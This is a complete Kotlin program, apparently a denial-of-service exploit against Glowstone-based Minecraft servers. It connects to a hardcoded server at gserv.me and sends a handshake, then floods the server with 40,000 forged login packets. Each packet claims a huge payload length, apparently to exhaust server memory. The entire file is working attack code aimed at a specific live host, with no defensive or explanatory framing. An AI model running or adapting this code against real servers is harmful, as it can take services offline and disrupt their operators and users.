glowbuster.kt

package net.minikloon.glowbuster

import com.flowpowered.network.util.ByteBufUtils.writeVarInt
import io.netty.buffer.ByteBuf
import io.netty.buffer.Unpooled
import net.glowstone.net.codec.handshake.HandshakeCodec
import net.glowstone.net.message.handshake.HandshakeMessage
import java.net.Socket

fun main(args: Array<String>) {
    val host = "gserv.me"

    val handshake = Unpooled.buffer()
    HandshakeCodec().encode(handshake, HandshakeMessage(210, host, 25565, 2))

    val lyingLogin = createPhonyLoginPacket()

    val socket = Socket(host, 25565)
    socket.sendUncompressed(0x00, handshake)

    val packets = 40000
    for(i in 1..packets) {
        socket.sendUncompressed(0x00, lyingLogin)
        if(i % (packets / 100) == 0)
            println(i)
    }
}

fun Socket.sendUncompressed(packetId: Int, packetBuf: ByteBuf) {
    val headerBuf = Unpooled.buffer()
    writeVarInt(headerBuf, packetBuf.readableBytes() + 1)
    writeVarInt(headerBuf, packetId)

    write(headerBuf)
    write(packetBuf)
}

fun Socket.write(buf: ByteBuf) {
    if (buf.hasArray()) {
        outputStream.write(buf.array(), buf.arrayOffset(), buf.readableBytes())
    } else {
        val bytes = ByteArray(buf.readableBytes())
        buf.getBytes(buf.readerIndex(), bytes)
        outputStream.write(bytes)
    }
}

fun createPhonyLoginPacket() : ByteBuf {
    val buf = Unpooled.buffer()
    writeVarInt(buf, Int.MAX_VALUE / 4)
    return buf
}